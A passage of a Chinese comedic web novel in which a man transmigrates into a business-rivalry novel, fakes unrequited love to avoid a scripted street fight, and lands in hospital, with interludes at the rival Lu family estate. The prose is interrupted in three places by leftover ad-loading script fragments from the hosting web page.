《这剧情不对!》 1. 一根钢棍 滴答,滴答。 雨水裹挟着冷气,砸在周身。 像溺水垂危者被海浪卷上沙滩,破水而出的一瞬间,迅速袭来的氧气暴力挤占胸腔,叶宁胸口猛地起伏,长呛一口气。 ……这是,哪? 他不是在海里吗? 掌心冰凉沉甸的触感唤醒几分意识,他动了动僵直的手指,低下头。 在一片模糊视线中,看到手中握着的某样物具。 哦。 一根钢棍。 等等。 一根……什么??? “受冷空气和季风倒槽共同影响,今明两天我市仍有明显降水过程,单站累计雨量前五站点分别是…暴雨…过程雨量…市民出行……” “今天这天被捅漏了吗,这么大雨!” “叶少,等什么呢?不打吗?” “不打?!车撞墙上了你知道拐了,没门!叶小少爷,你把我们兄弟几个车队修理厂整停业的事,我们没忘!只是看你年纪小,我们又皮糙肉厚的,懒得计较,还真当我们好欺负了!处处给淮哥使绊子,真以为我们不敢动你?” “你叶家是家大业大,但这云江城也不是你叶家一人说了算!”那人声音愈发洪亮,“别人怕你,我赵浩南不怕!今天我就把话撂这了,这架你打也得打,不打也得打!” …… 好吵。 “铛—铛—铛——” 城市大本钟整点报时的声音在上空缓慢盘旋。 人声,雨声,街道机械广播声,钟声,在这条巷子浑浊交织,侵吞一切。 叶宁耳朵不断嗡响,最后一道尖锐脑鸣过后,他与这世界隔着的最后一层透明屏障彻底消失。 世界重构,校正。 他看向天际那栋岩灰色钟楼,雨幕中,显示器清晰印着几个字“建京时间,下午3点整”。 叶宁花了十二分钟,在下午三点整,放弃幻想,认清形势。 ——他穿书了。 穿进了一本名叫《风云》的现代豪门商战文。 讲的是有着“百年王朝千年世家”之称的陆氏家族正统接班人陆司淮在云江、建京等地收复各方势力,横跨各个前沿领域,疯狂扩张陆家商业版图的故事。 与盛极不衰的升级流男主爽文不同,陆司淮“出厂”就已是满级玩家,只是现阶段,云江知晓他“陆氏太子爷”身份的人寥寥。 而“叶宁”,云江叶家,就是被横扫的“版图”之一。 叶宁:“……” 叶宁垂眸,看着手上这粗重的、近一米长的、在雨中闪着冷光的银色钢棍,眼皮重重跳动。 如果他没记错,按照原书发展,接下来,他会用这根钢棍打断男主小弟一条腿,然后…男主让他在医院躺了一个月。 一个月后,他出院,男主从云江回到建京。 叶家和陆家梁子就此结下,在成为“商业版图之一”的道路上轰然前行。 宕机的思绪骤然醒转,叶宁指尖一颤。 救命。 这钢棍烫、烫手。 雨愈下愈烈。 阴冷潮湿的街尾小巷,空气张牙舞爪弥漫着青苔泥土的腥气,以及蠢蠢欲动的暴力气息。 “浩哥,那小少爷…好像不对劲啊,都站那半天不动了!” “操,不会又摇人了吧?”那人说着,脑袋止不住往巷头巷尾望。 械斗一触即发。 叶宁还没想好怎么喊停,电光石火间,脑海突然闪过一段剧情。 他已经记不得那人的名字,只记得同样是男炮灰,同样处处找男主的麻烦,最后的结局却只是“黯然离场,再没踏足建京一步”,既没缺胳膊,也没断腿——因为那人喜欢陆司淮。 因爱生恨。 因爱,从云江一路追到了陆家所在的建京。 因恨,以伤人几分,自伤一千的自杀式报复,全方位给陆司淮添堵。 事情败露之后,陆司淮再没给过一个眼神。 这一番别人眼中的恨海情天,没能在久居高处的上位者心中掀起丝毫波澜。 叶宁记得书中对陆司淮的评价,他虽是上位者,却并不凌人而上,更不是将他人爱恨当消遣的傲慢者,万事得体又疏离。 前提是,不把手伸向他身边的人,也就是…… 叶宁隔着雨幕望向前方。 眼前这群人。 还好,还来得及。 这一钢棍还没敲下去。 叶宁继续回忆剧情。 同是炮灰,书中那位“前辈”最终结局是伤心断肠,回到云江养情伤。 男主不以为意,小弟们连说晦气,后来再无人提及这些人和事,任他们淹没在旧城中。 叶宁耳中再度响起一声嗡鸣。 伤心断肠,晦气,回到云江养情伤,再没踏足建京,再没见过陆司淮…… 世上竟然还有这种好事? 九月底的云江城,仍有些许暑气残留,但也架不住这大风大雨。 赵浩南只觉得筋骨都要被这雨水劈软了。 “还等什么?!”他猛地抹了把脸,随手抄起手边一块木板,掂了掂,抓握着一头,指着叶宁身后一群打手,声如破锣:“不敢打就喊声爷爷,然后滚。” “我操你大爷,今天不断你一条腿,老子就跟你信。” “你爷爷我打狂犬疫苗了,你觉得我怕你!” 阴冷雨巷中,两方人马各自抄家伙—— “陆司淮呢。” 一道声音缓缓传来。 雨声密集,这声音不响,却清晰擦过所有人耳廓。 很低,温润的像是什么呢喃耳语,却轻易中断战局。 两方人马一个急刹车,扭头,看向声音的来源者。 赵浩南揉了揉不知是被雨水浇透发痒的、还是被眼前这小少爷冷不丁一声细语给惊到发痒的耳根。 …什么乱七八糟的声音? 还是什么新战术? 想迷惑谁?! 赵浩南率先冷笑:“小少爷这是怕了?要打就快打,别……” 下一秒,赵浩南以及身后所有人话卡在喉咙深处。 因为他们看见叶宁抬起头来,眼眶通红,握着钢棍的手都在抖。 看起来不像是气疯了,像是…… “南、南哥,他、他是不是要哭了?” 赵浩南以及身后所有人:“?” 叶宁身后一众打手:“???” 赵浩南在云江摸爬滚打这么多年,从犄角旮旯的修车工,干到现在拥有自己的赛车团队和修车厂,承包云江大大小小的赛事,自诩什么阵仗都见过,可这样的…他真没见过! 露怯?不像? 求饶?好像也不对。 一时之间,赵浩南竟有些语噎。 无他。 叶宁实在长得太好,好到云江城那一圈家族形容他都只用了一句话,“云江水养出来的贵公子”。 惊人的样貌,赵浩南他们也不知道该怎么去形容,用仅有的几分贫瘠语言,想破脑袋大概也就两个字——漂亮,毋庸置疑的,带着冲击性的漂亮。 “叶小少爷,”饶是赵浩南,嘴巴都突然有些打瓢:“我们都是敞亮人,你要是真不想动手,也、也没必要哭……” 赵浩南话没能说完。 因为他们看着金贵的小少爷淋着雨,一步一步朝他们走来。 “我问你,陆司淮呢。” 他边说,边往前走。 手中的钢棍被他脚步带着,向前拖行,在地上留下一道湿泞的痕迹,很快又被雨水覆没,只留下金属擦地那刺耳的摩擦声。 “没来,是吗。” 叶宁一步一步,走到赵浩南跟前,钢管拖行的糙砺声,跟着脚步 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一起停住。 一个已然危险至极的距离。 赵浩南他们只要一抬手,就能让这云江水养出来的贵公子陷在这脏污泥泞的雨巷里。 可所有人都没了动作。 无论是赵浩南还是叶宁带来的打手,此时脑海中有且仅有一个霹雳念头。 你/老大你特么不是专挑淮哥/陆司淮不在的时候来下黑手的吗? 叶宁眼睫微抬,视线一错不错望着赵浩南,几秒后,又很轻地笑了一声。 ……自嘲似的。 “他没来。” 这一声极低,低到只有赵浩南以及最近的三两人听到。 像是说给他们听的,又像是说给自己听的。 赵浩南喉咙条件反射地上下一动,咽了口口水。 他强装镇定,“你不是专找的淮哥不在的时间找事的吗”几个字已经直逼喉口,可他没能说出来。 因为他们看到眼前的小少爷眼眶蓄满水汽,挟着雨水,眼尾洇出惊人的红,声音颤得越发厉害,面上却带着笑。 “如果我打断你一条腿,他会来见我吗。” 赵浩南:“……???” 所有人:“???” 等会儿,什么叫“我断你一条腿,他会来见我吗”? 操!操!操! 赵浩南颤着手,摸了摸自己手上的脉搏。 不是,这玩意儿怎么还在跳啊? 赵浩南嘴巴干巴得像灌了两斤沙,好半晌,才挤出一句:“那个,那什么,叶小少爷,今天这事,可能是误会,我们……” “赵浩南。”叶宁在记忆中搜刮出眼前这人的名字。 “啊?”在叶宁口中听到自己的名字,赵浩南下意识挺起腰,一抬眼,撞进叶宁湿润的视线。 紧接着,他听到许多年后,回想起来,仍旧让他心神俱震的一句话。 “为什么你们这样的人,都能跟在他身边。” “……我却不可以?” 叶宁声音颤着,手也颤着,最终脱力似的卸了力道,掌心钢棍“砰——”的一声,砸在湿漉的地面,它挣扎地颤动,一下,两下,滚至无人在意的角落。 眼泪混着雨水落下的瞬间,整条巷子气氛倏然凝滞。 无人再说话。 周遭的一切仿佛都被调慢了动作,空气像是有了重量,挤压着脑袋。 我是谁?我在哪?我听到了什么? 该说的全部说完,叶宁屏息站在原地,在心里说了声“抱歉”。 那句“你们这样的人”,的确不是他的本意。 他没觉得赵浩南他们这样的人有什么不好,相反,他还挺佩服他们。 但事急从权,他总得为“叶宁”找他们麻烦找个明面上过得去的理由。 一切尘埃落定。 叶宁缓慢呼出一口长气,接下来就是等赵浩南他们骂着晦气离开,转告陆司淮,他回去“伤心断肠养情伤”,陆司淮回他的建京,再不见面。 上天保佑,事情还算圆满。 正想着,赵浩南身旁的小弟突然动了一下。 来了。 叶宁调整好表情,准备结束剧情,可下一秒,那人却猛地推搡起身边的赵浩南。 “南、南哥,你、你把他弄哭了!” 赵浩南一嗓子嚎得天打雷劈:“我我我没有!” 叶宁:“……???” 叶宁所有表情宕机,只剩下茫然。 他怔怔地看向完全不按常理出牌的赵浩南。 啊?! 失神一眨眼,雨水砸落眼睫,酸胀感逼得眼眶越发通红。 赵浩南这辈子都没这么惊慌过,如临大敌。 “喂喂喂,你、你别哭啊。” “我打电话,我给淮哥打电话还不行吗?!” 叶宁:“?!” 啊??? 2. 我一看就知道不是他的错! 巷尾那端吹来一阵冷风。 “你、你等一下,”赵浩南生怕叶宁再咵嚓掉下两滴眼泪,手忙脚乱从兜里摸手机:“这个点,淮哥应该已经回云江了,能、能见到。” 死手,拿快点!别抖! 雨水打得手机屏幕噼啪作响,赵浩南也顾不上,一边抹屏幕上的水,一边解锁,然而水痕怎么都擦不干净,六位数的锁屏密码连着输错两次。 操! 赵浩南暗骂一声,没忍住,抬头看了一眼叶宁。 ……这是什么表情? 完了,不是又要哭了吧? 赵浩南僵硬的神情太明显,两方人马几乎是下意识跟着他的动作转头去看叶宁。 气氛瞬间焦灼。 “南哥,你快点啊!” “雨天,手机触屏不灵…那个,叶小少爷,你别急。” 这下,连叶宁身后一群打手也忍不住出声。 “对对,别急。” “咱们再等等。” 叶宁所有思绪在听到赵浩南那句“我给淮哥打电话”的时候,就已经被拖进泥淖,无法运转,他甚至消化不了周遭的声音,直到耳边的声音倏地热闹起来—— “好了好了,解锁了!” “快打!” 等等,别!! 叶宁骤然回神。 赵浩南甚至都忘了去通讯录里找,直接点开拨号键盘,火急火燎输下一串数字。 六位数锁屏密码他硬是输了三遍才输对,可这十一位的电话号码却快准狠得离奇。 随着最后一个数字“9”落下,手机检索到号码归属,自动显示联系人。 叶宁一低头,触目惊心“淮哥”两个字。 叶宁:“……” 赵浩南手指翻飞,即将拨出号码的一瞬间,一双白到有些恍眼的手出现在他的视线。 叶宁按住赵浩南拨号的手:“别打。” 周遭再度安静。 叶宁的手很凉,许是被雨水浸了很久,没什么温度,像是一尊无机质的白玉,可赵浩南却无比清晰地感受到手背上的颤动。 ……手在颤,颤得很厉害。 被叶家老爷子捧在手心里,如珠如宝养大的小少爷,只是因为淮哥的电话,竟然悸动成这样! 叶宁心口剧烈跳动,止不住的恍惚。 只差一秒。 只差一秒,这电话就打出去了。 还好,还好拦住了。 赵浩南看着为爱断肠的叶宁,有些不忍:“你不是想见淮哥吗?” 叶宁:“。” 不。 他,一,点,都,不,想。 身前身后这么多道眼神注视着,叶宁几次差点演不下去。 这一瞬间,“后悔”两个字涌上心头。 什么“因爱生恨”,就应该干脆点,扔掉钢棍扭头离开,或者直接往自己腿上敲一敲,都比这境况好。 可世上没有“早知道”。 往好处想,明天可能就死了呢。 被安慰到的叶宁整理好思绪,收回手。 “我现在这样,”他低着头,实在想不出什么理由,只能胡乱开口,“怎么见他。” 然而这话落在一群人耳朵里,再加上叶拧着一副失魂落魄的神情,俨然变了味。 天杀的,爱情这东西,竟让人卑微至此! 连叶小少爷这样的人都…… “叶少,你别…多想,你现在的样子也不狼狈。” “是的。” “水淋淋的也、也好看。” “呃…是的是的。” 叶宁:“……” 真是要疯了! 叶宁再也听不下去,往后退了一步,再开口时,声音是藏不住的疲惫:“你们都走吧,我想一个人静一静。” 前面是演的。 但现在是真的累。 叶宁甚至开始怀疑自己听的是不是盗版书?为什么剧情跟书里风马牛不相及? 赵浩南借着不算明亮的天光看着叶宁,踌躇良久,一摆手:“好,那今天就先这样吧……” 说完,赵浩南带着罗光他们往巷尾走,叶宁身后一众打手见此,几番犹豫后,也选择离开。 于是,两方人马一拨往巷头走,一拨往巷尾走,脚步却都出奇得慢,还频频回头,看向小巷中间的那位。 赵浩南身旁的罗光抓耳挠腮:“浩南哥,我们就这么走了?” “不然呢?”赵浩南说。 “可我总觉得就这么走了,不太好。” “那能怎么办?你回头看看那人是谁,叶宁!要什么没有,可你听听他说了什么,说羡慕我们这样的,羡慕我们能跟在淮哥身边。” 赵浩南越想越心酸:“他甚至都没去羡慕其他更亲近的,只羡慕我们,只想跟在淮哥身边!” “还当着这么多人的人揭发自己的伤疤,你说,是你你愿意让人看?” “哥你说的很有道理,但这应该叫揭露,不叫揭发。” “……” 赵浩南还欲开口,身后忽地传来一阵脚步声。 罗光第一个反应过来,率先回头,看清来人,立刻推搡身边的赵浩南:“南、南哥,伤疤来了,呸…小少爷来了。” 罗光的声音隔着雨幕,叶宁没听清,他喊了一声:“赵浩南。” 一群人回头。 叶宁:“今天的事……” 他话还没说完,就被赵浩南打断:“我知道,我会跟淮哥解释清楚的,不会让他…误会你。” 叶宁心梗:“……” 没完了是吧? “别解释,也别跟他说我…的事。”叶宁诡异地一顿,实在没法把“我喜欢他”这几个字说出来。 赵浩南看着叶宁:“你确定吗?淮哥消息很…灵通。” 虽然目前淮哥在云江还没什么势力,但建京陆家的人脉可不止在建京。 这话赵浩南没法说,他想了想,继续道:“虽然今天淮哥没来,但约架的事,他早晚会知道,到时候,可能会……” 算在你头上,赵浩南在心里如是说。 叶宁没说话。 赵浩南他们的态度完全超出了预料,叶宁的直觉告诉他,这事决计不能让陆司淮知道。 “别告诉他。”叶宁重复道。 良久,赵浩南咬牙:“行,我们不说。” 叶宁:“谢谢。” 赵浩南:“…不客气。” 叶宁转身往回走。 罗光捂住嘴:“小少爷怕真的是爱惨了淮哥!宁愿自己把约架的名头担下来,都不想让淮哥知道。” “可淮哥……唉。” “他都哭了!退一万步讲,淮哥难道就没有错吗?” “我一看到叶小少爷就知道这不是他的错!” “行了,别说了,”赵浩南往后看了一眼,停顿片刻,“走吧。” 脚步声渐行渐远,巷子重新归于平静。 叶宁走到堪堪能避雨的檐下墙角,停住脚步,蹲下,然后,捂住脑袋。 天。 他都做了什么。 叶宁脑子乱得几乎要爆炸,根本不敢复盘自己刚刚做了什么。 他捂着脑袋蹲了小半天,反复给自己做心理建设,才缓过劲来。 不能待在这里,叶宁打定主意。 得想法子回去。 还得尽快。 叶宁收拾好心绪,总算抬起头,检查这副身体。 借着水坑,他看清自己的脸。 ……一模一样。 衣服,头发,眼睛,全都一样。 叶宁几乎是本能地抬手,急切地摸向耳朵。 冰凉的触感提醒他,耳钉在,耳朵上那颗“团圆痣”也在。 是他自己的身体,叶宁却怎么都高兴不起来。 他从衣服口袋里摸出一个手机,手机似乎也是自己的,解锁的密码都一致,可里头的东西却完全陌生。 叶宁沉默着,点开一个搜索软件,在上头搜索“安市”——是他原来的世界。 显示没有该地区。 说不上是失落,还是猜想被证实的无奈。 叶宁顺手点开手机通讯录,联系人寥寥,往下划拉两下便到头,基本都是什么助理,司机,活像个钉钉。 直到看到最底下两个字——爷爷。 叶宁心里重重撞了下。 他后知后觉地注意到,这手机上竟然没有任何父母的消息,唯一和亲属有关的就只有一个爷爷。 连这点都和他一样。 叶宁深吸一口气,鼓起勇气点开那个写着“爷爷”两个字的号码。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 跟记忆里他倒背如流的号码完全不一样,陌生的数字。 一股脱力感涌了上来。 这的确是个完全陌生的城市。 叶宁放下手机,靠着墙,望向铅灰色的天幕,苦中作乐地想,还好爷爷已经过世,否则发现他不见了,不知道得有多着急。 许久没想起爷爷,叶宁竟还有些恍惚,手却再次摸向左耳那枚耳钉。 他只打了一个耳洞,也就只戴了一枚耳钉。 说来也好笑,这耳洞打得也是稀里糊涂。 起因是耳尖上突然生出来的一颗红痣。 不知道什么时候长的,他自己也没注意,好像是爷爷走后的半年。 长了颗痣,他也没在意,直到后来代表叶氏参加了一场宴会,遇到了某个集团的少东家。 叶宁还记得那人的长相,脸圆圆的,五官也很圆润,是长辈眼中很有福缘的长相,在他致完辞后,忽然走过来,认真盯着他耳朵上那颗红痣,说:“你这颗痣好漂亮,天生的吗?” 叶宁:“不是。” “我就说像是后天长的,没看错!”他顿了下,“这种后天生长的痣往往都是有含义的,你这个位置…等等,我给你看看。” 说着,竟从西装胸前那巴掌大的手巾袋里掏出一卷24开,目测有将近3厘米厚的墨蓝色古旧书籍,极其专注地鼓捣好几下,然后继续道:“你这颗痣,对应的位置是周易六十四卦第三十七卦,由离、巽两卦聚成,离下巽上,又称‘家人卦’。” “离为火,巽为烟,就是烟自火出,有家之象,意在会有家人团聚。” “好兆头好兆头,你有家人在很远的地方吗?应该快要见面了,恭喜你哇。” 他话音落下,整个宴会厅陷入死一般的、绵长的寂静,正要上台致辞的商会会长被台阶绊了跟头,不远处接连响起三声酒杯落地的响声。 整个安市都知道叶老爷子半年前与世长辞,商会众人几乎不在叶宁跟前提这事,现在倒好。 家人团聚?这跟“菩萨保佑你快快死”有什么区别?还直接舞到叶宁跟前,这死孩子! 于是,没多久,“死孩子”他爸五十几岁的人了,硬是抄过宴会门口雕塑模特手上一米长的大刀,朝他儿子头上砍去。 最后还是叶宁把他爸拦下了。 第二天,叶宁喊来了家庭医生,打耳洞,就打在那枚“团圆痣”的位置。 然后,临时上岗医疗美容科的医生,不出所料地…打歪了。 团圆痣没消失,还多了个耳洞。 叶宁摸着那枚团圆痣,很轻地笑了下。 他自己也不知道为什么,这么拗口的卦言,他竟然一字不落,全记下了。 可能是“家人卦”这名字太好听了,他想。 等叶宁再回过神来,巷子里雨势小了,连天色都变亮几分。 站累了,叶宁索性在墙角一张石凳坐下。 石凳被雨冲刷得挺干净。 等到赵浩南他们不放心,折返回来,看到的就是叶宁孤零零一个人坐在墙角的石凳上,为无望的爱情销魂断肠。 “怎么还坐这啊?” “别再给淋出毛病来。” 罗光挠头:“南哥,咋办?” 赵浩南:“也不能直接跟淮哥说,你让我想想办法。” 他思索片刻:“留一个人在这里看着,确保他的安全,别走近,别被发现,其他人先回去。” 一群人只好怎么来的,又怎么回去,这巷子不大,却七拐八拐,满是岔路,像是没有尽头。 经过拐角处,赵浩南忽然停下脚步,翕了翕鼻子。 周围人一头雾水。 “南哥你干什么?” “你们都没闻到吗?” “闻到什么?” “烟草味,是淮哥惯用的那款,”说着,赵浩南又嗅了嗅,“还有一点檀香。” “就是寺庙的那种檀香。” 罗光:“你狗鼻子啊。” 赵浩南扭头看他,突然想起一件事:“淮哥今天是不是去法源寺看他小叔叔了?” “是去法源寺了没错,但这破巷子哪有什么檀香?” “真没有?” “真没有,快走吧,等会儿雨又大了。” 赵浩南摸着脑袋,被罗光推着带出巷子。 3. 断子绝孙绳 叶宁没在石凳上坐多久,手机响了。 通讯录里备注为“李叔(司机)”来电。 叶宁看着后头那个括号,沉默片刻。 这世界的“叶宁”也不知道是什么习惯,备注清楚到有些诡异。 ……诡异得有点像是为他量身定做的了。 叶宁接起电话,对面语气着急,问他在哪,说接到了手下人的电话,看到他一个人在外头,还淋着雨。 叶宁一一作答,那人最后问:“要回老宅还是回公馆?” 叶宁犹豫两秒,才答:“公馆。” 司机微不可察地松了一口气,忙道:“也好也好,董事长这段时间不在国内,一个人在老宅待着枯燥,住公馆好。” 叶宁没留意到司机的语气,耳朵里只有“董事长”三个字,语气有些干涩地开口:“…爷爷?” “是,董事长说还要过段时间才回来,北美那边的投资峰会还没结束,还有两个项目要考察,近期暂时回不了国。” 叶宁垂眸,微微松下神,不用见面也好。 见了面,万一喊不出“爷爷”,说不定还要露馅。 半小时后,司机捧着浴巾撑着伞,急匆匆赶来:“祖宗唉,怎么淋成这样。” 叶宁有点累,不太想说话,接过浴巾道过谢,擦了两把,便没再管。 公馆庄园离市中心近,车程不远。 叶宁忽地有些反胃,也不知道是不是闷的,连车上木质香薰的气味都显得重了。 “李叔,别去车库了,就停公馆门口吧。”叶宁有些挨不住,直接开口,“我走回去,吹吹风。” 司机从后视镜看了一眼后方坐着的人,天色有些暗,他没留意到叶宁苍白到有些异常的脸,答:“那记得撑伞,别淋着了。” “嗯。” 车只一停下,叶宁立刻开门。 新鲜空气扑过来,将咙间不适压下几分。 得救了。 叶宁撑着伞,揉了揉鼓胀的额角,缓了好一会,才抬脚往里走。 好在手机里头基本信息很全,这独栋别墅的布局也很清晰,不难找。 庄园一片中式风格,雨打小塘芭蕉,叶宁听着雨声,眼皮有些沉,湿漉感扒着皮肤,越发难受。 他揉着额角,加快脚步,然后—— 脚边踢到了什么。 叶宁循着动作低下头。 哦。 台阶上睡着一个人。 “抱歉。”叶宁下意识开口,然后往旁边撤了两步,迈上台阶。 一阶。 两阶。 等等—— 台阶上睡着一个什么? 叶宁昏胀的大脑短暂清醒,回过头。 只见一个人以一种怪异的姿势横在台阶上,上半身趴在台阶上,下半身笔直朝后伸,手里握着一个手机,碎了一角,像是在台阶上磕的,雨点细细密密砸在那人衣服上。 “同学?”叶宁小心将人翻过来。 是个年轻男生,长得很好看。 他也顾不上自己头昏脑涨,将雨伞撑在那男生脑袋上遮雨,简单检查一番,没明显外伤。 “能听到我说话吗?”叶宁一边说,一边低头观察那人胸腹部。 起伏平稳,有呼吸,还好。 叶宁伸手拍了拍他的脸:“同学?” 秦乐舟迷迷糊糊中感觉到细密的雨水打在自己脸上。 有人在拍自己的脸。 “华亭公馆,嗯,…摔…无明显外伤…十分钟?” 谁在说话? 秦乐舟强撑着睁开眼皮。 打过急救,叶宁挂断电话,一抬头,看到不远处跑动的几道身影,是安保。 叶宁朝他们抬手,正要开口,一声闷咳从下方传来,他循声低头。 台阶上的人:“叶…宁?” 叶宁:“……?” 这是…认识他? 两人对上视线。 “真是你?”那人又咳了一声,手往台阶上一搭,借力支撑起身体,抖着双腿颤颤巍巍爬起来。 “喂,”叶宁提醒他,“你还是不要动的好,免得有内伤。” “没、没事。” 下一秒,说着“没事”的人脚一滑,猛地往下一坠—— 赶来的三个安保声嘶力竭:“啊——” 然后被叶宁眼疾手快扶住了。 尖叫戛然而止。 “命给我吓掉半条,还好叶少动作快,你……”安保话都没说完,再下一秒,他们看着已经被扶住的秦小少爷往后退了一步,失衡的身体没了支撑,迅速往下倒去,手却本能地往上一抓—— 旋转的视线。 雨滴落进眼眶的凉意。 带着灼热烫意的呼吸。 被扯住的衣角。 在安保“救命!秦少你在干什么!”那撕心裂肺的呼喊声中,叶宁彻底失去意识。 - 建京,溇山,陆氏老宅。 滂沱山雨,黑色迈巴赫冲破雨雾,绝尘而上。 陆成业净完手,用供烛内焰点燃手中三支香,往后轻一甩,熄灭火光,在氤氲烟气中,将香奉在案前:“司淮回来了?” 管家端着莲花净手石盆往前走了一步:“嗯,说来看看您。” “看我?”陆成业净过手,“他不气我,我就烧高香了。” “老三呢。”陆老爷子又问,“回寺里了?” “去后山了,说空气好,去参个禅,”管家提醒道,“您该喊法号的,慧闻。” “慧闻什么慧闻,从我身上掉下来的肉,我还得喊他一声大师?像什么话?”陆成业一振手,一身唐装都跟着簌簌响,“当初生下来就不该给他取个什么‘陆怀慈’,就该叫陆富贵,陆招财,省得操心。” 建京百年世家陆氏,祖上能人辈出,家族一脉贤者众多,现今家主陆成业便是其一,可堪称“传奇”的,还得属陆成业幺子,陆怀慈。 陆怀慈,法号慧闻,五岁得佛缘,生慧根,六岁被法源寺方丈带走,以童身修行,年仅36,却已是古寺之首法源寺的门下首座。 管家笑着,正想说什么,庭外走来两道身影。 一道穿着黄褐色衲衣,另外一道…西装外套已经脱了,搭在臂弯,只剩下里头黑色衬衫。 明明也算是一身挺括矜贵的正装,却因为没佩的领带,以及解了两颗的纽扣,牵出点散漫气息来。 “爷爷。” “陆施主。” 两道人影同时出声,陆施主没眼看。 糟心的叔侄俩。 “回来干什么?”陆成业看向小糟心,“在云江混不下去了? “借您吉言,还行,”陆司淮将臂弯的外套递给保姆,笑了下,“找小叔叔有点事,法源寺那边说他来溇山了,就顺道来看看您。” 陆成业:“……” 陆成业开始警惕:“你找他干什么?” 这下就连管家和保姆都停下脚步,扭头紧紧盯着自家两位少爷。 老爷子年纪大了,可千万再听不得什么“断子绝孙”之类的话了。 时隔经年,可陆司淮二十一岁那年发生的事,每每想起,陆氏老宅都要灯火通明点一晚上高香。 倒也不是什么大事。 陆司淮二十一岁那年,新年,陆氏一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 族齐聚溇山,多年未下山的陆怀慈也破天荒回了一趟老宅,临走前,给陆司淮批了一卦。 “他这一生,时运亨通,无病无灾。” 陆老爷子:“好好好!” “就只有一点。” “不过也不是大事。” 老爷子刚放下心,下一秒—— 慧闻大师:“司淮没有子嗣缘。” 陆老爷子一口酒喷出去:“你说没什么?” 陆父陆母也吓了一跳。 陆老爷子:“没有子嗣缘还得了!” 慧闻从袖口里摸出一条红绳,隔着老爷子“吾命休矣”的眼神,递给陆司淮。 那红绳看起来有些年头,稍显破旧。 老爷子鉴宝似的盯着那绳子,满怀希冀:“这就有了?” “没有,”慧闻大师斩钉截铁,“断子绝孙绳。” 陆家所有人:“…………” 那红绳至今还在老爷子书房那清代预制紫檀云龙纹木盒中“镇压”着,要不是慧闻叮嘱这绳子不能丢,保平安,下一秒就得被埋在后山。 “断子绝孙绳”事件之后,某天夜里,老爷子忽然惊醒,越想越不对劲。 时运亨通,无病无愁,没有子嗣缘……这说的不就是他小儿子吗? 儿子出家,难不成孙子也要出家? 老爷子连夜驱车赶到法源寺,在慧闻“他身在红尘,心在红尘,有缘,但不在佛家”的保证下,才打道回府。 然而怀疑的种子一经埋下,风一吹就燎原。 老爷子现在一听陆司淮往法源寺走,心就跳。 “有什么事要找你小叔叔聊?”老爷子看着陆司淮。 陆司淮自顾自斟了一杯茶:“寺里有个项目,要合作。” “和法源寺的项目?”老爷子大惊,可别是什么“继承衣钵”项目! 这次回答他的是陆怀慈:“我们寺‘智慧寺院’项目,BI数据驾驶舱和云服务devops,还有资产管理系统建造。” 陆成业沉默良久:“…先吃饭吧。” 厨房还在备菜,陆成业难得和小儿子见一面,两人对坐手谈。 棋局刚过半,旋转实木楼梯上下来一个人。 陆成业看过去,陆司淮身上的衬衫已经换下,套了一件黑色冲锋衣,显得身形轮廓越发利落锋锐,他嘴里咬着一根烟,没点。 “去哪?”陆成业问。 “有事,回趟云江。”陆司淮将烟随手拢在掌心,走过来,微一颔首,“爷爷,今天就不吃饭了,下次陪你。” 陆成业:“大晚上的,有什么事这么急?” 陆司淮这次没答,只转过头,看向另一侧的陆怀慈:“小叔叔等会怎么走。” “我这还能差一辆车?”陆成业又哼了一声,“我让人送。” 陆司淮“嗯”了一声,接过管家手上的车钥匙,径直往外:“那先失陪了。” 陆成业:“火急火燎的,也不说回云江干什么。” 管家给陆成业空掉的茶杯里斟了半杯:“我刚听到少爷接了个电话,好像说什么…医院?” “医院?”陆成业重复一遍,没在意,他在氤氲香气中收回视线,沉默许久,再度满是希冀地看向大师:“儿啊,你真没算错?你看看你侄子的模样,长成这样,能没有子嗣缘?” 陆怀慈笑而不语。 他转过头,看向穿过庭院的那道利落身影,轻巧落下一子。 “有就是有,没有就是没有,遇上了,就是遇上了。” “因缘际会,皆是定数。” 院外,黑色迈巴赫嚣张的引擎声响彻林间,朝山下呼啸驶去。 4. 医院 “不严重…发烧…摔…您放心吧。” “等…醒了…发消息?” “董事长您别急…您刚…手术…注意。” 耳边窸窸窣窣的声响。 谁在说话? 眼皮发沉,僵感遍布全身,叶宁费了点劲,才慢慢睁开双眼。 阴沉又薄弱的光线从窗缝打进来,叶宁眼睫颤了颤,缓顿片刻,才看清周遭的环境。 输注泵,监护仪,点滴……是医院。 叶宁循着窸窣动静看过去,不远处沙发旁正站着一个人,背对着他,在打电话。 叶宁张口,湿冷空气立刻钻进喉管,引起一小阵咳嗽。 “董事长,先不说了,少爷好像醒了!”那人听到身后的咳嗽声,立刻捂住电话,挂断,转过身三两下快步上前。 叶宁看着他。 不认识。 怕露馅,叶宁没和他多说,但套了点话。 这人是“爷爷”的私人助理之一,主要工作就是照顾他。 叶宁依稀记得醒来前,好像听到这人说什么“董事长”? “你刚刚在跟…爷爷打电话?” 叶宁敏锐地察觉到,在提到“爷爷”两个字的时候,这人紧绷了几分。 “没、没,”那人转身摆弄床头的花瓶,“跟董事长总助打电话呢。” 动作透着一股子心虚。 叶宁沉默。 良久,那人像是试探开口:“要给…董事长打电话吗?” 叶宁再度陷入沉默。 “不了,”叶宁道,“爷爷那边忙,我没什么大事,别让他担心。” “好好。” 两人都松了一口气。 叶宁找了个借口,将人支出去,起身想下床,一动弹,“嘶”的一声。 浑身骨头像是浸在水里,酸疼得不行。 他低头一看。 左手手腕和右脚脚腕都缠着绷带,手背上还有注射点滴留下的痕迹。 叶宁:“……” 他被打了? 叶宁一时竟有些想不起来昏过去前正在做什么。 正想着,床头手机“嗡”的一声响,叶宁接过手机一看。 【吕二:叶少,我手下有人看到昨天下午我们几个走之后,赵浩南那群人又折返回来了!你们是不是碰上了?!】 叶宁大致判断出这人是昨天打手之一。 赵浩南他们折返回来? 他正想回“没有”,紧接着,手机又是一震。 【吕二:我收到消息说罗光腿折了,还说是叶少您打的,叶少您那边安排了第二拨人吗?所以昨天下午赵浩南他们趁我们不在下黑手了,是不是!】 叶宁:“?” 叶宁回消息的手霎时顿住。 这世界…是有什么bug自动修补机制吗? 罗光折了一条腿,他现在躺在医院。 